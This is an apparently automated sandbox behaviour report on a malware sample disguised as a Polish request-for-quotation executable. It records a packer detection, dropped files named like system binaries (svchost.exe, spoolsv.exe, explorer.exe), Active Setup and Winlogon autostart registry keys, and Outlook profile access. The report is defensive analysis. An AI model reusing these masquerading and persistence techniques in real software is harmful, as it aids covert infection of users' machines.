Source: C:\Windows\System\explorer.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Static file information: File size 1524650 > 1048576

Source:	Binary string: wntdll.pdbUGP source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000003.2051235689.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000003.2047915436.0000000004540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000003.2051235689.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000003.2047915436.0000000004540000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected CryptOne packer

Source: C:\Windows\System\svchost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B196B287-BAB4-101A-B69C-00AA00341D07}\ProxyStubClsid32

Jump to behavior

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0040EB70 LoadLibraryA,GetProcAddress,

1_2_0040EB70

Source: explorer.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x4ef72
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe .0.dr	Static PE information: real checksum: 0xa2135 should be: 0x134544
Source: stsys.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x54679
Source: icsys.icn.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x4de18
Source: spoolsv.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x53684
Source: svchost.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x45b32
Source: mrsys.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x491b8
Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Static PE information: real checksum: 0x0 should be: 0x1750c9

Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Static PE information: section name: .tdata
Source: icsys.icn.exe.0.dr	Static PE information: section name: .tdata
Source: explorer.exe.2.dr	Static PE information: section name: .tdata
Source: spoolsv.exe.4.dr	Static PE information: section name: .tdata
Source: mrsys.exe.4.dr	Static PE information: section name: .tdata
Source: svchost.exe.5.dr	Static PE information: section name: .tdata
Source: stsys.exe.6.dr	Static PE information: section name: .tdata

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_004171D1 push ecx; ret	1_2_004171E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05294928 push eax; ret	10_2_05294912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05294928 push eax; ret	10_2_05294922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05294968 push eax; ret	10_2_05294972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05294978 push eax; ret	10_2_05294982
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05294958 push eax; ret	10_2_05294962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05294988 push eax; ret	10_2_05294992
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_052948F8 push eax; ret	10_2_05294912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05294A2D push eax; ret	10_2_05294962

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Windows\System\spoolsv.exe	File created: C:\Windows\System\svchost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: C:\Windows\System\explorer.exe	Jump to dropped file
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\System\spoolsv.exe	Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System\svchost.exe	Executable created and started: c:\windows\system\spoolsv.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Executable created and started: c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Executable created and started: c:\windows\system\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	File created: \zapytanie ofertowe st-2024-s315 cpa9170385.exe
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	File created: \zapytanie ofertowe st-2024-s315 cpa9170385.exe			Jump to behavior

Source: C:\Windows\System\spoolsv.exe	File created: C:\Windows\System\svchost.exe	Jump to dropped file
Source: C:\Windows\System\explorer.exe	File created: C:\Users\user\AppData\Roaming\mrsys.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: C:\Windows\System\explorer.exe	Jump to dropped file
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\System\spoolsv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	File created: C:\Users\user\AppData\Local\icsys.icn.exe	Jump to dropped file
Source: C:\Windows\System\svchost.exe	File created: C:\Users\user\AppData\Local\stsys.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	File created: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Jump to dropped file

Source: C:\Windows\System\spoolsv.exe	File created: C:\Windows\System\svchost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: C:\Windows\System\explorer.exe	Jump to dropped file
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\System\spoolsv.exe	Jump to dropped file

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

File created: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\System\explorer.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\explorer.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\explorer.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon shell	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath	Jump to behavior
